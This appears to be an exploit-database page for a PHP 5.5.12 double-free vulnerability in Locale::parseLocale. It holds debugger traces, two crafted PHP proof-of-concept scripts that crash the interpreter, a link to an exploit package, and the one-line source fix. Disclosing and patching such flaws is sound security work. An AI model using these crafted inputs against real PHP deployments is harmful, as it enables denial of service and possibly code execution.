Menu

Search for hundreds of thousands of exploits

"PHP 5.5.12 - Locale::parseLocale Memory Corruption"

Author

Exploit author

"John Leitch"

Platform

Exploit platform

php

Release date

Exploit published date

2014-11-24

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
Full Package: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/35358.tgz

Description:
------------
PHP 5.5.12 suffers from a memory corruption vulnerability that could potentially be exploited to achieve remote code execution. The vulnerability exists due to inconsistent behavior in the get_icu_value_internal function of ext\intl\locale\locale_methods.c. In most cases, get_icu_value_internal allocates memory that the caller is expected to free. However, if the first argument, loc_name, satisfies the conditions specified by the isIDPrefix macro (figure 1), and fromParseLocal is true, loc_name itself is returned. If a caller abides by contract and frees the return value of such a call, then the pointer passed via loc_name is freed again elsewhere, a double free occurs.

Figure 1. Macros used by get_icu_value_internal.
#define isIDSeparator(a) (a == '_' || a == '-')
[...]
#define isPrefixLetter(a) ((a=='x')||(a=='X')||(a=='i')||(a=='I'))
[...]
#define isIDPrefix(s) (isPrefixLetter(s[0])&&isIDSeparator(s[1]))

The zif_locale_parse function, which is exported to PHP as Locale::parseLocale, makes a call to get_icu_value_internal with potentially untrusted data. By passing a specially crafted locale (figure 2), remote code execution may be possible. The exploitability of this vulnerability is dependent on the attack surface of a given application. In instances where the locale string is exposed as a user configuration setting, it may be possible to achieve either pre- or post-authentication remote code execution. In other scenarios this vulnerability may serve as a means to achieve privilege escalation.

Figure 2. A call to Locale::parseLocale that triggers the exploitable condition.
Locale::parseLocale("x-AAAAAA");

Details for the two frees are shown in figures 3 and 4.

Figure 3. The first free.
0:000> kP
ChildEBP RetAddr  
016af25c 7146d7a3 php5ts!_efree(
            void * ptr = 0x030bf1e0)+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]
016af290 7146f6a2 php_intl!add_array_entry(
            char * loc_name = 0x0179028c "", 
            struct _zval_struct * hash_arr = 0x00000018, 
            char * key_name = 0x71489e60 "language", 
            void *** tsrm_ls = 0x7146f6a2)+0x1d3 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1073]
016af2b0 0f0c15ab php_intl!zif_locale_parse(
            int ht = 0n1, 
            struct _zval_struct * return_value = 0x030bf4c8, 
            struct _zval_struct ** return_value_ptr = 0x00000000, 
            struct _zval_struct * this_ptr = 0x00000000, 
            int return_value_used = 0n1, 
            void *** tsrm_ls = 0x0178be38)+0xb2 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1115]
016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
            struct _zend_execute_data * execute_data = 0x0179028c, 
            void *** tsrm_ls = 0x00000018)+0x1cb [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 551]
016af358 0f114757 php5ts!execute_ex(
            struct _zend_execute_data * execute_data = 0x030bef20, 
            void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
016af380 0f0e60ea php5ts!zend_execute(
            struct _zend_op_array * op_array = 0x030be5f0, 
            void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
            int type = 0n8, 
            void *** tsrm_ls = 0x00000001, 
            struct _zval_struct ** retval = 0x00000000, 
            int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
016af5c0 00cc21fb php5ts!php_execute_script(
            struct _zend_file_handle * primary_file = <Memory access error>, 
            void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
016af844 00cc2ed1 php!do_cli(
            int argc = 0n24707724, 
            char ** argv = 0x00000018, 
            void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
016af8e0 00cca05e php!main(
            int argc = 0n2, 
            char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
016af980 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> ub eip
php5ts!_efree+0x49 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
0f0b1ef9 732e            jae     php5ts!_efree+0x79 (0f0b1f29)
0f0b1efb 817e4c00000200  cmp     dword ptr [esi+4Ch],20000h
0f0b1f02 7325            jae     php5ts!_efree+0x79 (0f0b1f29)
0f0b1f04 8bc2            mov     eax,edx
0f0b1f06 c1e803          shr     eax,3
0f0b1f09 8d0c86          lea     ecx,[esi+eax*4]
0f0b1f0c 8b4148          mov     eax,dword ptr [ecx+48h]
0f0b1f0f 894708          mov     dword ptr [edi+8],eax
0:000> u eip
php5ts!_efree+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
0f0b1f12 897948          mov     dword ptr [ecx+48h],edi
0f0b1f15 01564c          add     dword ptr [esi+4Ch],edx
0f0b1f18 a148456a0f      mov     eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
0f0b1f1d 85c0            test    eax,eax
0f0b1f1f 0f851d040000    jne     php5ts!_efree+0x492 (0f0b2342)
0f0b1f25 5f              pop     edi
0f0b1f26 5e              pop     esi
0f0b1f27 59              pop     ecx
0:000> ?edi+8
Evaluate expression: 51114464 = 030bf1e0
0:000> dc edi+8
030bf1e0  00000000 41414141 00000000 00000000  ....AAAA........
030bf1f0  00000011 00000019 61636f6c 0300656c  ........locale..
030bf200  00000011 00000011 6e697270 00725f74  ........print_r.
030bf210  00000109 00000011 030bf320 030bf210  ........ .......
030bf220  01790494 00000000 00000000 00000000  ..y.............
030bf230  00000000 00000000 00000000 00000000  ................
030bf240  00000000 00000000 00000000 00000000  ................
030bf250  00000000 00000000 00000000 00000000  ................


Figure 4. The second free.
0:000> kP
ChildEBP RetAddr  
016af2c4 0f0c1813 php5ts!_zval_dtor_func(
            struct _zval_struct * zvalue = 0x030bf3f8)+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]
016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
            struct _zend_execute_data * execute_data = 0x0179028c, 
            void *** tsrm_ls = 0x00000018)+0x433 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 642]
016af358 0f114757 php5ts!execute_ex(
            struct _zend_execute_data * execute_data = 0x030bef20, 
            void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
016af380 0f0e60ea php5ts!zend_execute(
            struct _zend_op_array * op_array = 0x030be5f0, 
            void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
            int type = 0n8, 
            void *** tsrm_ls = 0x00000001, 
            struct _zval_struct ** retval = 0x00000000, 
            int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
016af5c0 00cc21fb php5ts!php_execute_script(
            struct _zend_file_handle * primary_file = <Memory access error>, 
            void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
016af844 00cc2ed1 php!do_cli(
            int argc = 0n24707724, 
            char ** argv = 0x00000018, 
            void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
016af8e0 00cca05e php!main(
            int argc = 0n2, 
            char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
016af980 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> ub eip
php5ts!_zval_dtor_func+0x5e [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]:
0f0b1cae 0f8394000000    jae     php5ts!_zval_dtor_func+0xf8 (0f0b1d48)
0f0b1cb4 817f4c00000200  cmp     dword ptr [edi+4Ch],20000h
0f0b1cbb 0f8387000000    jae     php5ts!_zval_dtor_func+0xf8 (0f0b1d48)
0f0b1cc1 8bc2            mov     eax,edx
0f0b1cc3 c1e803          shr     eax,3
0f0b1cc6 8d0c87          lea     ecx,[edi+eax*4]
0f0b1cc9 8b4148          mov     eax,dword ptr [ecx+48h]
0f0b1ccc 894608          mov     dword ptr [esi+8],eax
0:000> u eip
php5ts!_zval_dtor_func+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]:
0f0b1ccf 897148          mov     dword ptr [ecx+48h],esi
0f0b1cd2 01574c          add     dword ptr [edi+4Ch],edx
0f0b1cd5 a148456a0f      mov     eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
0f0b1cda 85c0            test    eax,eax
0f0b1cdc 0f8591010000    jne     php5ts!_zval_dtor_func+0x223 (0f0b1e73)
0f0b1ce2 5f              pop     edi
0f0b1ce3 5e              pop     esi
0f0b1ce4 c3              ret
0:000> ?esi+8
Evaluate expression: 51114464 = 030bf1e0
0:000> dc esi+8
030bf1e0  030bf1d8 41414141 00000000 00000000  ....AAAA........
030bf1f0  00000011 00000019 61636f6c 0300656c  ........locale..
030bf200  00000011 00000011 6e697270 00725f74  ........print_r.
030bf210  00000109 00000011 030bf320 030bf210  ........ .......
030bf220  01790494 00000000 00000000 00000000  ..y.............
030bf230  00000000 00000000 00000000 00000000  ................
030bf240  00000000 00000000 00000000 00000000  ................
030bf250  00000000 00000000 00000000 00000000  ................

The outcome of the double free depends on the arrangement of the heap. A simple script that produces a variety of read access violations is shown in figure 5, and another that reliably produces data execution prevention access violations is provided in figure 6.

Figure 5. A script that produces a variety of AVs.
<?php
Locale::parseLocale("x-AAAAAA");
$foo = new SplTempFileObject();
?>

Figure 6. A script that reliably produces DEPAVs.
<?php
Locale::parseLocale("x-7-644T-42-1Q-7346A896-656s-75nKaOG");
$pe = new SQLite3($pe, new PDOException(($pe->{new ReflectionParameter(TRUE, new RecursiveTreeIterator((null > ($pe+=new RecursiveCallbackFilterIterator((object)$G16 = new Directory(), DatePeriod::__set_state()))), (array)$h453 = new ReflectionMethod(($pe[TRUE]), $G16->rewind((array)"mymqaodaokubaf")), ($h453->getShortName() === null), ($I68TB = new InvalidArgumentException($H03 = new DOMStringList(), null, (string)MessageFormatter::create($sC = new AppendIterator(), new DOMUserDataHandler())) & null)))}), ($h453[(bool)DateInterval::__set_state()]), new PDOStatement()), TRUE);
$H03->item((unset)$gn = new SplStack());
$sC->valid();

?>

To fix the vulnerability, get_icu_value_internal should be modified to return a copy of loc_name rather than loc_name itself. This can be done easily using the estrdup function. The single line fix is shown in figures 7 and 8.

Figure 7. The original code.
        if( strcmp(tag_name , LOC_LANG_TAG)==0 ){
            if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){
                return (char *)loc_name;
            }
        }
        
Figure 8. The fixed code.
        if( strcmp(tag_name , LOC_LANG_TAG)==0 ){
            if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){
                return estrdup(loc_name);
            }
        }
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2015-11-03 "Python 3.3 < 3.5 - 'product_setstate()' Out-of-Bounds Read" dos windows "John Leitch"
2015-11-03 "Python 2.7 - 'strop.replace()' Method Integer Overflow" dos windows "John Leitch"
2015-11-03 "Python 2.7 - 'array.fromstring' Method Use-After-Free" dos multiple "John Leitch"
2015-11-03 "Python 2.7 hotshot Module - 'pack_string' Heap Buffer Overflow (PoC)" dos windows "John Leitch"
2014-11-24 "PHP 5.5.12 - Locale::parseLocale Memory Corruption" dos php "John Leitch"
2011-05-16 "eFront 3.6.9 - 'submitScore.php' Cross-Site Scripting" webapps php "John Leitch"
2011-04-08 "vTiger CRM 5.2.1 - 'sortfieldsjson.php' Local File Inclusion" webapps php "John Leitch"
2011-04-04 "WordPress Plugin WPwizz AdWizz Plugin 1.0 - 'link' Cross-Site Scripting" webapps php "John Leitch"
2011-04-03 "WordPress Plugin Placester 0.1 - 'ajax_action' Cross-Site Scripting" webapps php "John Leitch"
2011-03-10 "Xinha 0.96 - 'spell-check-savedicts.php' Multiple HTML Injection Vulnerabilities" webapps php "John Leitch"
2011-01-10 "Solar FTP Server 2.1.1 - 'PASV' Remote Buffer Overflow" remote windows "John Leitch"
2010-12-29 "QuickPHP Web Server 1.9.1 - Directory Traversal" remote windows "John Leitch"
2010-12-29 "httpdasm 0.92 - Directory Traversal" remote windows "John Leitch"
2010-12-10 "Helix Server 14.0.1.571 - Administration Interface Cross-Site Request Forgery" remote multiple "John Leitch"
2010-12-08 "WordPress Plugin Processing Embed 0.5 - 'pluginurl' Cross-Site Scripting" webapps php "John Leitch"
2010-12-08 "WordPress Plugin Safe Search - 'v1' Cross-Site Scripting" webapps php "John Leitch"
2010-12-07 "WordPress Plugin Twitter Feed - 'url' Cross-Site Scripting" webapps php "John Leitch"
2010-11-10 "WeBid 0.85P1 - Multiple Input Validation Vulnerabilities" webapps php "John Leitch"
2010-11-08 "WordPress Plugin Vodpod Video Gallery 3.1.5 - 'vodpod_gallery_thumbs.php' Cross-Site Scripting" webapps php "John Leitch"
2010-11-08 "WordPress Plugin jRSS Widget 1.1.1 - 'url' Information Disclosure" webapps php "John Leitch"
2010-11-08 "WordPress Plugin SEO Tools 3.0 - 'file' Directory Traversal" webapps php "John Leitch"
2010-11-08 "WordPress Plugin WP Survey And Quiz Tool 1.2.1 - Cross-Site Scripting" webapps php "John Leitch"
2010-11-08 "WordPress Plugin FeedList 2.61.01 - 'handler_image.php' Cross-Site Scripting" webapps php "John Leitch"
2010-11-01 "Project Jug 1.0.0 - Directory Traversal" remote windows "John Leitch"
2010-11-01 "Home File Share Server 0.7.2 32 - Directory Traversal" remote multiple "John Leitch"
2010-10-27 "MinaliC WebServer 1.0 - Denial of Service" dos windows "John Leitch"
2010-10-27 "MinaliC WebServer 1.0 - Directory Traversal" remote windows "John Leitch"
2010-10-11 "BaconMap 1.0 - SQL Injection" webapps php "John Leitch"
2010-10-11 "BaconMap 1.0 - Local File Disclosure" webapps php "John Leitch"
2010-10-01 "Tiki Wiki CMS Groupware 5.2 - Multiple Vulnerabilities" webapps php "John Leitch"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.